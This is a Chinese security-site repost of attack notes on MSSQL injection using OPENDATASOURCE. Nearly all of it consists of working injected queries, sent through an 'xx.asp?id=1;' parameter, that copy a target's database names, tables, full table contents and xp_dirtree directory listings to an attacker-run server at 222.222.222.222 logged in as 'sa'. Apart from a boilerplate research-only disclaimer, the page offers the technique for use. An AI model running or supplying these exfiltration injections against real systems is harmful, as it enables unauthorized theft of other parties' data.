opendatasource 学习 记录 's

admin 2017年5月6日01:16:52评论314 views字数 2638阅读8分47秒阅读模式
摘要

鬼仔注:lcx写的,不过lcx的站现在打不开。来源:scofeld's blog实现功能:
获取所有库.当前库所有表.表里所有内容.分区路径.

鬼仔注:lcx写的,不过lcx的站现在打不开。

来源:scofeld's blog

实现功能:
获取所有库.当前库所有表.表里所有内容.分区路径.

本机建立库和表,方便反弹时写进东西.

create database lcx
CREATE TABLE ku(name nvarchar(256) null)
CREATE TABLE biao(id int NULL,name nvarchar(256) null)

得到目标服务器上的所有数据库名:

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases--

得到当前库:

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.ku select db_name(0)--

得到当前库的所有表名

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--

获得其它库的所有表名

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype='U'--

获得当前库指定表名的列
复制一个系统表结构

1. select * into [tmpcolumns] from syscolumns where 1=2
2. insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--

//这一步目的是查询当前表的结构,好在本机建立同样的表.

返回表的所有内容

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--

复制一个系统表结构 重要的: name列名 xtype数据类型 length长度 //在本机建立一个同样的表
关系表如下:

when 34 then ''image''
when 35 then ''text''
when 52 then ''smallint''
when 56 then ''int''
when 61 then ''datetime''
when 62 then ''float''
when 108 then ''numeric''
when 167 then ''varchar''
when 175 then ''char''
when 231 then ''nvarchar''
========================

查路径 实践:

1. xx.asp?id=1;CREATE TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),

VARCHAR(100));--
2. xx.asp?id=1;Insert chong exec master..xp_dirtree "C:/",1,1;--
本机: 3 4
3. select * into [tmpcolumns] from syscolumns where 1=2
4. CREATE TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100), VARCHAR(100))
5. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
6. 从5中得到反回来的chong表的ID.一共有三个列.
7. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--
8. where id=1723153184 其中一个.下面返回来的内容.就是现在的ID对应的内容
9. xx.asp?id=1; insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--
10. 路径在本机chong里.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月6日01:16:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   opendatasource 学习 记录 'shttps://cn-sec.com/archives/49782.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息